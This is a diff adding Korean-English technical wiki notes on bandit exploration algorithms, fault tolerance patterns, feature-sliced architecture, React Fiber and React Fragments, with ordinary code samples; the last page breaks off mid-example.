self.alpha = np.ones(k) # successes + 1
|
||||
self.beta = np.ones(k) # failures + 1
|
||||
|
||||
def select(self):
|
||||
samples = np.random.beta(self.alpha, self.beta)
|
||||
return int(np.argmax(samples))
|
||||
|
||||
def update(self, a, r):
|
||||
if r > 0: self.alpha[a] += 1
|
||||
else: self.beta[a] += 1
|
||||
```
|
||||
|
||||
### Decaying ε schedule
|
||||
```python
|
||||
def epsilon(t, start=1.0, end=0.05, decay=10000):
|
||||
return end + (start - end) * np.exp(-t / decay)
|
||||
|
||||
# DQN-style: 매 early episodes 의 explore-heavy, 매 late 의 exploit
|
||||
```
|
||||
|
||||
### Boltzmann (softmax) exploration
|
||||
```python
|
||||
def softmax_select(Q, tau=1.0):
|
||||
p = np.exp(Q / tau)
|
||||
p /= p.sum()
|
||||
return np.random.choice(len(Q), p=p)
|
||||
# tau→0 매 greedy, tau→∞ 매 uniform
|
||||
```
|
||||
|
||||
### Contextual bandit (LinUCB)
|
||||
```python
|
||||
class LinUCB:
|
||||
def __init__(self, k, d, alpha=1.0):
|
||||
self.A = [np.eye(d) for _ in range(k)]
|
||||
self.b = [np.zeros(d) for _ in range(k)]
|
||||
self.alpha = alpha
|
||||
|
||||
def select(self, x): # context vector
|
||||
ucb = []
|
||||
for a in range(len(self.A)):
|
||||
Ainv = np.linalg.inv(self.A[a])
|
||||
theta = Ainv @ self.b[a]
|
||||
mean = theta @ x
|
||||
bonus = self.alpha * np.sqrt(x @ Ainv @ x)
|
||||
ucb.append(mean + bonus)
|
||||
return int(np.argmax(ucb))
|
||||
|
||||
def update(self, a, x, r):
|
||||
self.A[a] += np.outer(x, x)
|
||||
self.b[a] += r * x
|
||||
```
|
||||
|
||||
### LLM sampling 의 explore-exploit
|
||||
```python
|
||||
# temperature=0 → exploit (deterministic argmax)
|
||||
# temperature=1 → explore (full distribution)
|
||||
# top-p=0.9 → constrained explore (nucleus)
|
||||
def sample_token(logits, temperature=0.7, top_p=0.9):
|
||||
logits = logits / temperature
|
||||
probs = softmax(logits)
|
||||
sorted_idx = np.argsort(probs)[::-1]
|
||||
cum = np.cumsum(probs[sorted_idx])
|
||||
cutoff = np.searchsorted(cum, top_p) + 1
|
||||
keep = sorted_idx[:cutoff]
|
||||
p = probs[keep] / probs[keep].sum()
|
||||
return np.random.choice(keep, p=p)
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Stationary stochastic bandit | 매 UCB1 또는 Thompson |
|
||||
| Bernoulli reward | 매 Thompson Beta-binomial |
|
||||
| Contextual features 의 available | 매 LinUCB / NeuralBandit |
|
||||
| Non-stationary (drift) | 매 sliding-window UCB / discounted TS |
|
||||
| Deep RL | 매 ε-greedy decay 또는 noisy nets |
|
||||
| LLM creative generation | 매 temperature 0.7-1.0 + top-p 0.9 |
|
||||
|
||||
**기본값**: 매 Thompson Sampling — 매 strong empirical 의 winner, 매 simple implementation.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Reinforcement-Learning]] · [[Decision-Theory]]
|
||||
- 변형: [[Multi-Armed-Bandit]]
|
||||
- 응용: [[Recommender-Systems]] · [[Hyperparameters|Hyperparameter-Tuning]] · [[MCTS]]
|
||||
- Adjacent: [[Bayesian-Optimization]] · [[Active-Learning]] · [[LLM-Sampling]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 sequential decision 매 reward feedback. Cold-start recommender. A/B 의 multi-arm 의 generalize.
|
||||
**언제 X**: 매 known reward distribution + horizon→∞ — 매 closed-form optimal. Single-shot decision.
|
||||
|
||||
## 어려운 점 (안티패턴)
|
||||
- **Static ε too high**: 매 ε=0.5 forever — 매 final 50% traffic 의 random arm 의 burn. Decay 의 use.
|
||||
- **No cold-start arms**: 매 UCB 의 N[a]=0 의 not-handled — 매 inf 의 produce, 매 each arm 의 1 초기 pull 의 require.
|
||||
- **Non-stationarity ignored**: 매 reward drift 의 discount 없이 의 stale Q value 의 trust.
|
||||
- **Reward leakage**: 매 future info 매 leak — 매 fake "exploit" 매 actually 의 cheat.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Sutton & Barto Ch. 2; Lai-Robbins 1985; Russo et al. "Tutorial on Thompson Sampling" 2018).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — explore-exploit + 7 algorithm patterns |
|
||||
+210
@@ -0,0 +1,210 @@
|
||||
---
|
||||
id: wiki-2026-0508-fault-tolerance
|
||||
title: Fault Tolerance
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Fault Tolerance, 장애 내성, Resilience Engineering]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, distributed-systems, resilience, erlang]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: erlang
|
||||
framework: otp
|
||||
---
|
||||
|
||||
# Fault Tolerance
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 system은 fail한다 — 매 question은 'when'이지 'if' 아님"**. 매 fault tolerance는 component failure에도 system이 계속 동작하도록 design — Erlang/OTP의 "let it crash" philosophy에서 modern Kubernetes self-healing까지 evolution. 2026 cloud-native에서는 chaos engineering, circuit breaker, bulkhead가 default.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Fault vs Error vs Failure
|
||||
- **Fault**: 매 root cause (bug, hardware glitch, network partition)
|
||||
- **Error**: 매 fault의 manifestation (incorrect state)
|
||||
- **Failure**: 매 service가 contract 위반 (user-visible)
|
||||
- 매 goal: fault → error containment, error → failure prevention
|
||||
|
||||
### 매 Erlang Philosophy
|
||||
- **Let it crash**: 매 defensive coding 대신 supervisor가 restart
|
||||
- **Process isolation**: 매 lightweight process per actor, shared-nothing
|
||||
- **Hot code reload**: 매 zero-downtime upgrade
|
||||
- 매 WhatsApp이 2 billion users를 50 engineers로 운영한 비결
|
||||
|
||||
### 매 응용
|
||||
1. Erlang/OTP supervisor tree (telecom, WhatsApp, Discord).
|
||||
2. Kubernetes pod restart + liveness probes.
|
||||
3. Circuit breaker (Hystrix, resilience4j).
|
||||
4. Distributed databases (Cassandra hinted handoff, Spanner).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Erlang Supervisor Tree
|
||||
```erlang
|
||||
-module(my_sup).
|
||||
-behaviour(supervisor).
|
||||
-export([start_link/0, init/1]).
|
||||
|
||||
start_link() ->
|
||||
supervisor:start_link({local, ?MODULE}, ?MODULE, []).
|
||||
|
||||
init([]) ->
|
||||
SupFlags = #{strategy => one_for_one,
|
||||
intensity => 5,
|
||||
period => 10},
|
||||
Children = [
|
||||
#{id => worker1,
|
||||
start => {worker, start_link, []},
|
||||
restart => permanent,
|
||||
shutdown => 5000,
|
||||
type => worker}
|
||||
],
|
||||
{ok, {SupFlags, Children}}.
|
||||
```
|
||||
|
||||
### Circuit Breaker (Python)
|
||||
```python
|
||||
from pybreaker import CircuitBreaker
|
||||
|
||||
db_breaker = CircuitBreaker(fail_max=5, reset_timeout=60)
|
||||
|
||||
@db_breaker
|
||||
def query_db(sql: str):
|
||||
return db.execute(sql)
|
||||
|
||||
try:
|
||||
result = query_db("SELECT * FROM users")
|
||||
except CircuitBreakerError:
|
||||
return cached_response() # fallback
|
||||
```
|
||||
|
||||
### Retry with Exponential Backoff
|
||||
```python
|
||||
import asyncio
|
||||
import random
|
||||
|
||||
async def retry_with_backoff(fn, max_retries=5, base=1.0):
|
||||
for attempt in range(max_retries):
|
||||
try:
|
||||
return await fn()
|
||||
except Exception as e:
|
||||
if attempt == max_retries - 1:
|
||||
raise
|
||||
delay = base * (2 ** attempt) + random.uniform(0, 1)
|
||||
await asyncio.sleep(delay)
|
||||
```
|
||||
|
||||
### Bulkhead Pattern (Go)
|
||||
```go
|
||||
import "golang.org/x/sync/semaphore"
|
||||
|
||||
type Service struct {
|
||||
dbSem *semaphore.Weighted // 10 concurrent DB calls
|
||||
apiSem *semaphore.Weighted // 50 concurrent API calls
|
||||
}
|
||||
|
||||
func (s *Service) CallDB(ctx context.Context) error {
|
||||
if err := s.dbSem.Acquire(ctx, 1); err != nil {
|
||||
return err
|
||||
}
|
||||
defer s.dbSem.Release(1)
|
||||
return doDBWork()
|
||||
}
|
||||
```
|
||||
|
||||
### Kubernetes Liveness/Readiness
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: app
|
||||
livenessProbe:
|
||||
httpGet:
|
||||
path: /healthz
|
||||
port: 8080
|
||||
initialDelaySeconds: 15
|
||||
periodSeconds: 10
|
||||
readinessProbe:
|
||||
httpGet:
|
||||
path: /ready
|
||||
port: 8080
|
||||
periodSeconds: 5
|
||||
```
|
||||
|
||||
### Chaos Engineering (Litmus)
|
||||
```yaml
|
||||
apiVersion: litmuschaos.io/v1alpha1
|
||||
kind: ChaosEngine
|
||||
spec:
|
||||
experiments:
|
||||
- name: pod-delete
|
||||
spec:
|
||||
components:
|
||||
env:
|
||||
- name: TOTAL_CHAOS_DURATION
|
||||
value: '60'
|
||||
- name: PODS_AFFECTED_PERC
|
||||
value: '50'
|
||||
```
|
||||
|
||||
### Saga Pattern (Compensation)
|
||||
```python
|
||||
class OrderSaga:
|
||||
async def execute(self, order):
|
||||
steps = []
|
||||
try:
|
||||
payment = await charge_card(order)
|
||||
steps.append(("refund", payment.id))
|
||||
inventory = await reserve_stock(order)
|
||||
steps.append(("release", inventory.id))
|
||||
await ship_order(order)
|
||||
except Exception:
|
||||
for action, ref in reversed(steps):
|
||||
await compensate(action, ref)
|
||||
raise
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Telecom-grade uptime (5 nines) | Erlang/OTP supervisor tree |
|
||||
| Microservices REST | Circuit breaker + retry + timeout |
|
||||
| Stateful distributed DB | Quorum + hinted handoff |
|
||||
| Container orchestration | K8s liveness/readiness + PodDisruptionBudget |
|
||||
| Cross-service transactions | Saga + compensation |
|
||||
|
||||
**기본값**: 매 timeout + retry + circuit breaker 3종 세트 + chaos testing.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Distributed Systems]]
|
||||
- 변형: [[Circuit Breaker]]
|
||||
- 응용: [[Kubernetes]] · [[Microservices]]
|
||||
- Adjacent: [[Chaos Engineering]] · [[Eventual Consistency]] · [[CAP Theorem]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 distributed system design 시 failure mode enumeration, supervisor tree 설계, retry strategy 추천.
|
||||
**언제 X**: 매 single-process script — fault tolerance overhead 가 value 보다 큼.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Catch-all exception swallow**: 매 error를 log만 하고 무시 → 매 silent corruption.
|
||||
- **Infinite retry**: 매 backoff 없는 retry → 매 thundering herd, cascading failure.
|
||||
- **Shared fate**: 매 단일 DB 의존 모든 service → 매 single point of failure.
|
||||
- **No timeout**: 매 hang된 dependency가 매 caller exhaust.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Joe Armstrong, "Making Reliable Distributed Systems in the Presence of Software Errors", 2003).
|
||||
- Verified (Netflix Chaos Engineering principles, principlesofchaos.org).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Erlang/OTP + modern resilience patterns |
|
||||
+198
@@ -0,0 +1,198 @@
|
||||
---
|
||||
id: wiki-2026-0508-feature-driven-architecture
|
||||
title: Feature-Driven Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [FDD, Feature Slices, Vertical Slice Architecture]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, feature-slices, modularity, frontend]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: nextjs
|
||||
---
|
||||
|
||||
# Feature-Driven Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 layer-by-type 의 feature-by-vertical-slice 의 invert"**. Feature-Driven Architecture 매 codebase 의 organization unit 매 feature/use-case — 매 each feature 매 own UI + state + API + tests 의 own. Frontend 매 FSD (Feature-Sliced Design), Backend 매 vertical slice / modular monolith 의 manifest.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Why
|
||||
- **Layer-by-type problem**: 매 `controllers/`, `services/`, `models/` 매 small project 의 fine, 매 100+ features 시 매 cross-cutting changes 의 5 directories 의 touch.
|
||||
- **Feature 의 lifecycle**: 매 feature 의 add/remove/own 의 single folder 의 happen.
|
||||
- **Team scaling**: 매 vertical squad 의 own 매 single feature folder, 매 conflicts 의 minimize.
|
||||
|
||||
### 매 FSD layers (frontend)
|
||||
1. `app/` — global setup, routing, providers.
|
||||
2. `pages/` — route compositions.
|
||||
3. `widgets/` — composite UI blocks.
|
||||
4. `features/` — user actions (login, addToCart).
|
||||
5. `entities/` — business objects (User, Product).
|
||||
6. `shared/` — UI kit, utils, API client.
|
||||
- 매 import rule: 매 upper layer → lower layer only.
|
||||
|
||||
### 매 응용
|
||||
1. Next.js / Remix apps with FSD.
|
||||
2. Modular monolith — Java/.NET vertical slices.
|
||||
3. Mobile (RN/Flutter) feature modules.
|
||||
4. Microfrontend per-feature deployment.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### FSD folder layout
|
||||
```
|
||||
src/
|
||||
├── app/ # providers, router, global styles
|
||||
├── pages/
|
||||
│ └── checkout/
|
||||
│ └── ui/Checkout.tsx
|
||||
├── widgets/
|
||||
│ └── header/ui/Header.tsx
|
||||
├── features/
|
||||
│ ├── auth-login/
|
||||
│ │ ├── ui/LoginForm.tsx
|
||||
│ │ ├── model/store.ts
|
||||
│ │ ├── api/login.ts
|
||||
│ │ └── index.ts # public api
|
||||
│ └── cart-add-item/
|
||||
├── entities/
|
||||
│ ├── user/{ui, model, api}/
|
||||
│ └── product/{ui, model, api}/
|
||||
└── shared/
|
||||
├── ui/Button.tsx
|
||||
└── api/baseQuery.ts
|
||||
```
|
||||
|
||||
### Public API (index.ts barrel)
|
||||
```typescript
|
||||
// features/auth-login/index.ts
|
||||
export { LoginForm } from './ui/LoginForm';
|
||||
export { useLoginMutation } from './api/login';
|
||||
// 매 internal model/store 의 not exported — encapsulation
|
||||
```
|
||||
|
||||
### ESLint 의 enforce layer rules
|
||||
```javascript
|
||||
// .eslintrc — eslint-plugin-boundaries
|
||||
module.exports = {
|
||||
plugins: ['boundaries'],
|
||||
settings: {
|
||||
'boundaries/elements': [
|
||||
{ type: 'app', pattern: 'src/app/*' },
|
||||
{ type: 'pages', pattern: 'src/pages/*' },
|
||||
{ type: 'features', pattern: 'src/features/*' },
|
||||
{ type: 'entities', pattern: 'src/entities/*' },
|
||||
{ type: 'shared', pattern: 'src/shared/*' },
|
||||
],
|
||||
},
|
||||
rules: {
|
||||
'boundaries/element-types': ['error', {
|
||||
default: 'disallow',
|
||||
rules: [
|
||||
{ from: 'pages', allow: ['features', 'entities', 'shared'] },
|
||||
{ from: 'features', allow: ['entities', 'shared'] },
|
||||
{ from: 'entities', allow: ['shared'] },
|
||||
],
|
||||
}],
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
### Vertical slice (.NET / Node)
|
||||
```typescript
|
||||
// features/place-order/handler.ts
|
||||
export class PlaceOrderCommand {
|
||||
constructor(public userId: string, public items: Item[]) {}
|
||||
}
|
||||
|
||||
export async function placeOrder(cmd: PlaceOrderCommand, deps: Deps) {
|
||||
const user = await deps.users.findById(cmd.userId);
|
||||
if (!user) throw new NotFoundError();
|
||||
const order = Order.create(user, cmd.items);
|
||||
await deps.orders.save(order);
|
||||
await deps.bus.emit('order.placed', { orderId: order.id });
|
||||
return { orderId: order.id };
|
||||
}
|
||||
|
||||
// features/place-order/route.ts
|
||||
router.post('/orders', async (req, res) => {
|
||||
const result = await placeOrder(req.body, deps);
|
||||
res.json(result);
|
||||
});
|
||||
// 매 single folder 매 use-case 의 entire handle
|
||||
```
|
||||
|
||||
### Cross-feature communication via events
|
||||
```typescript
|
||||
// features/cart-checkout — 매 features/inventory-update 의 NOT 매 import
|
||||
// 매 instead: emit event, 매 inventory feature 의 subscribe
|
||||
import { bus } from '@/shared/event-bus';
|
||||
|
||||
async function checkout(cart: Cart) {
|
||||
await bus.emit('checkout.completed', { items: cart.items });
|
||||
}
|
||||
|
||||
// features/inventory-update/index.ts
|
||||
bus.on('checkout.completed', async ({ items }) => {
|
||||
await decrementStock(items);
|
||||
});
|
||||
```
|
||||
|
||||
### Feature flag boundary
|
||||
```typescript
|
||||
// features/new-search-v2/index.ts
|
||||
import { useFlag } from '@/shared/feature-flags';
|
||||
import { SearchV1 } from '@/features/search-v1';
|
||||
import { SearchV2 } from './ui/SearchV2';
|
||||
|
||||
export function Search() {
|
||||
const v2 = useFlag('search-v2');
|
||||
return v2 ? <SearchV2 /> : <SearchV1 />;
|
||||
}
|
||||
// Removal 의 single folder delete
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Solo / < 10 features | 매 layer-by-type 매 fine |
|
||||
| Frontend, growing team | 매 FSD |
|
||||
| Backend, modular monolith | 매 vertical slice (CQRS-style) |
|
||||
| Microservices | 매 service-per-feature 매 already |
|
||||
| Strict isolation 의 needed | 매 ESLint boundaries + barrel exports |
|
||||
|
||||
**기본값**: 매 frontend 매 FSD, 매 backend 매 vertical slice — 매 cross-feature 의 events.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software-Architecture]] · [[Modular-Monolith]]
|
||||
- 변형: [[Feature-Sliced-Design]] · [[Vertical-Slice-Architecture]] · [[Hexagonal-Architecture]]
|
||||
- 응용: [[Microfrontends]] · [[CQRS]] · [[Bounded-Context]]
|
||||
- Adjacent: [[Domain-Driven-Design]] · [[Clean-Architecture]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 10+ features, 매 multi-team. Frontend 매 page-driven 의 outgrow. Modular monolith 매 service split 의 prepare.
|
||||
**언제 X**: 매 small app (<10 screens). 매 prototype phase — 매 over-structure cost > benefit.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Cross-feature direct import**: 매 `features/cart` 매 `features/checkout/internal` 의 import — 매 coupling 의 reintroduce. Public API 만 의 use.
|
||||
- **God shared/**: 매 모든 utility 의 `shared/utils/` 의 dump — 매 entities/features 의 leak 의 should.
|
||||
- **Premature feature split**: 매 single-screen app 의 7 features 의 carve — 매 navigation cost.
|
||||
- **Layer skipping**: 매 `entities` 매 `features` 의 import — 매 dependency rule violation.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (feature-sliced.design official; Jimmy Bogard "Vertical Slice Architecture").
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — FSD layout + ESLint boundaries + vertical slice patterns |
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
---
|
||||
id: wiki-2026-0508-fiber-architecture
|
||||
title: Fiber Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [React Fiber, Reconciler]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [react, frontend, reconciliation]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: react
|
||||
---
|
||||
|
||||
# Fiber Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 reconciliation 을 interruptible 한 unit 으로 쪼갠다"**. 매 React 16 (2017) 에서 stack reconciler 를 대체 — 매 work loop 가 매 fiber node 단위로 yield 가능하므로 매 concurrent rendering, Suspense, transitions 의 토대. 2026 React 19 의 Server Components, Actions, `use` hook 모두 매 fiber tree 위에서 동작.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 fiber node
|
||||
- 매 React element 1:1 의 mutable bookkeeping object.
|
||||
- 매 `child / sibling / return` pointer 로 tree linkage (매 array 가 아닌 linked list).
|
||||
- `pendingProps`, `memoizedProps`, `memoizedState`, `effectTag`, `lanes`.
|
||||
- 매 두 tree: **current** (committed) + **workInProgress** (next render) — 매 double buffering.
|
||||
|
||||
### 매 work loop
|
||||
1. **Render phase** (interruptible) — 매 beginWork → completeWork DFS, 매 frame budget 만료 시 yield.
|
||||
2. **Commit phase** (synchronous) — 매 DOM mutation, ref attach, layout effect.
|
||||
3. **Lanes** — 매 priority bitmask (Sync, Default, Transition, Idle).
|
||||
|
||||
### 매 응용
|
||||
1. `useTransition` / `useDeferredValue` — 매 low-priority lane.
|
||||
2. Suspense boundary — 매 throw promise → fallback render.
|
||||
3. Server Components (RSC) — 매 server fiber 의 serialize.
|
||||
4. Concurrent rendering / time slicing.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Fiber node 의 shape (개념)
|
||||
```ts
|
||||
type Fiber = {
|
||||
type: any; key: string | null;
|
||||
child: Fiber | null; sibling: Fiber | null; return: Fiber | null;
|
||||
alternate: Fiber | null; // current ↔ workInProgress
|
||||
pendingProps: any; memoizedProps: any; memoizedState: any;
|
||||
flags: number; // Placement | Update | Deletion
|
||||
lanes: number; childLanes: number;
|
||||
stateNode: any; // DOM node | class instance
|
||||
};
|
||||
```
|
||||
|
||||
### Work loop (개념)
|
||||
```ts
|
||||
function workLoopConcurrent() {
|
||||
while (workInProgress !== null && !shouldYield()) {
|
||||
workInProgress = performUnitOfWork(workInProgress);
|
||||
}
|
||||
}
|
||||
function performUnitOfWork(fiber: Fiber): Fiber | null {
|
||||
const next = beginWork(fiber.alternate, fiber, renderLanes);
|
||||
if (next === null) return completeUnitOfWork(fiber);
|
||||
return next;
|
||||
}
|
||||
```
|
||||
|
||||
### useTransition (React 19)
|
||||
```tsx
|
||||
import { useTransition, useState } from "react";
|
||||
|
||||
export function Search() {
|
||||
const [query, setQuery] = useState("");
|
||||
const [results, setResults] = useState<string[]>([]);
|
||||
const [isPending, startTransition] = useTransition();
|
||||
|
||||
return (
|
||||
<>
|
||||
<input value={query} onChange={e => {
|
||||
setQuery(e.target.value); // sync lane
|
||||
startTransition(() => setResults(filter(e.target.value))); // transition lane
|
||||
}}/>
|
||||
{isPending ? <Spinner/> : <List items={results}/>}
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Suspense + use (React 19)
|
||||
```tsx
|
||||
import { Suspense, use } from "react";
|
||||
|
||||
function Profile({ promise }: { promise: Promise<User> }) {
|
||||
const user = use(promise); // 매 throw 시 Suspense fallback
|
||||
return <h1>{user.name}</h1>;
|
||||
}
|
||||
|
||||
export default () => (
|
||||
<Suspense fallback={<Skeleton/>}>
|
||||
<Profile promise={fetchUser()}/>
|
||||
</Suspense>
|
||||
);
|
||||
```
|
||||
|
||||
### Server Component (RSC)
|
||||
```tsx
|
||||
// app/page.tsx — 매 server fiber, payload 로 serialize
|
||||
export default async function Page() {
|
||||
const posts = await db.posts.findMany();
|
||||
return <PostList posts={posts}/>; // 매 client 로는 RSC payload 전송
|
||||
}
|
||||
```
|
||||
|
||||
### useDeferredValue
|
||||
```tsx
|
||||
const deferred = useDeferredValue(query); // 매 stale value 로 render, urgent update 우선
|
||||
```
|
||||
|
||||
### Lane priority debug (React DevTools)
|
||||
```
|
||||
Profiler tab → Highlight transitions → 매 어느 lane 에서 commit 됐는지 확인
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 즉시 반영 input | 직접 setState (sync lane) |
|
||||
| 무거운 list filter | startTransition (transition lane) |
|
||||
| Async data 의 render | Suspense + use |
|
||||
| Server-only data fetch | RSC (`async function Page`) |
|
||||
| Stale UI 허용 + responsive | useDeferredValue |
|
||||
|
||||
**기본값**: React 19 + RSC (Next.js App Router), client side 는 transition + Suspense.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[React]] · [[Reconciliation]]
|
||||
- 변형: [[React Server Components]] · [[Concurrent Features|Concurrent Rendering]]
|
||||
- 응용: [[Suspense]] · [[useTransition]] · [[useDeferredValue]] · [[Streaming SSR]]
|
||||
- Adjacent: [[Virtual_DOM과_Reconciliation|Virtual DOM]] · [[Hydration]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 jank 진단, transition vs sync 결정, Suspense boundary 위치 reasoning.
|
||||
**언제 X**: 매 non-React framework — 매 Vue / Svelte / Solid 는 매 다른 reconciler.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Sync setState in event for heavy work**: 매 main thread block.
|
||||
- **Suspense without boundary**: 매 root crash — 매 ErrorBoundary + Suspense pair.
|
||||
- **useTransition for urgent input**: 매 typing latency 발생.
|
||||
- **Mutating fiber internals**: 매 React 의 internal — 매 forward-compat 보장 X.
|
||||
- **Effect 의 setState loop**: 매 무한 render — 매 dependency 정확히.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (React 19 release notes, Andrew Clark *fiber* RFC, React docs 2026, Vercel RSC docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — fiber + lanes + React 19 (RSC, use, transition) 정리 |
|
||||
+229
@@ -0,0 +1,229 @@
|
||||
---
|
||||
id: wiki-2026-0508-fragment-bound
|
||||
title: Fragment-bound
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [React Fragment, Fragment-bound Component, Multi-root Component]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [react, frontend, jsx, dom]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: react
|
||||
---
|
||||
|
||||
# Fragment-bound
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 component 의 root 의 wrapper div 의 elimination"**. React Fragment (`<>...</>` 또는 `<Fragment>`) 매 component 매 multiple sibling roots 의 return 의 enable — 매 unnecessary `<div>` wrapper 의 avoid. "Fragment-bound" component 매 single DOM root 의 not-have, 매 layout (Grid, Table, Flex) 매 fragile 의 implication 의 carry.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Why Fragment
|
||||
- **DOM cleanliness**: 매 wrapper div 의 CSS Grid/Flex 의 break — 매 child 매 grid item 의 directly 의 must be.
|
||||
- **No semantic noise**: 매 `<table>` 매 `<tr>` 매 `<td>` 의 nest 의 wrapper div 의 invalid HTML.
|
||||
- **Performance (marginal)**: 매 fewer DOM nodes — 매 hot lists 의 measurable.
|
||||
|
||||
### 매 Forms
|
||||
- `<></>` — short syntax, 매 no key/props.
|
||||
- `<Fragment key={...}>` — 매 list iteration 매 key 의 needed 시.
|
||||
- `<React.Fragment>` — explicit import, 매 build tooling 의 short syntax 의 not-support 시.
|
||||
|
||||
### 매 Fragment-bound implications
|
||||
- 매 ref 의 attach 의 not-possible (매 single DOM node 의 not-have).
|
||||
- 매 parent 매 child layout 의 control 의 must — 매 child 매 own root 의 not-have.
|
||||
- 매 portals 매 separate concern.
|
||||
|
||||
### 매 응용
|
||||
1. Table rows / cells (`<TableRow>` returning `<td>...</td><td>...</td>`).
|
||||
2. Grid items in CSS Grid layout.
|
||||
3. Component library — wrapper-less primitives.
|
||||
4. Conditional sibling rendering.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Basic Fragment
|
||||
```tsx
|
||||
function Greeting() {
|
||||
return (
|
||||
<>
|
||||
<h1>Hello</h1>
|
||||
<p>World</p>
|
||||
</>
|
||||
);
|
||||
}
|
||||
// 매 DOM 의 <h1>+<p> 의 sibling, 매 no wrapper
|
||||
```
|
||||
|
||||
### Fragment with key (list)
|
||||
```tsx
|
||||
import { Fragment } from 'react';
|
||||
|
||||
function Glossary({ items }: { items: { term: string; def: string }[] }) {
|
||||
return (
|
||||
<dl>
|
||||
{items.map(it => (
|
||||
<Fragment key={it.term}>
|
||||
<dt>{it.term}</dt>
|
||||
<dd>{it.def}</dd>
|
||||
</Fragment>
|
||||
))}
|
||||
</dl>
|
||||
);
|
||||
}
|
||||
// 매 short syntax 매 key prop 의 not-accept — 매 explicit Fragment 의 use
|
||||
```
|
||||
|
||||
### Table row composition
|
||||
```tsx
|
||||
function ProductRow({ product }: { product: Product }) {
|
||||
return (
|
||||
<>
|
||||
<td>{product.name}</td>
|
||||
<td>{product.price}</td>
|
||||
<td>{product.stock}</td>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function ProductTable({ products }: { products: Product[] }) {
|
||||
return (
|
||||
<table>
|
||||
<tbody>
|
||||
{products.map(p => (
|
||||
<tr key={p.id}><ProductRow product={p} /></tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
);
|
||||
}
|
||||
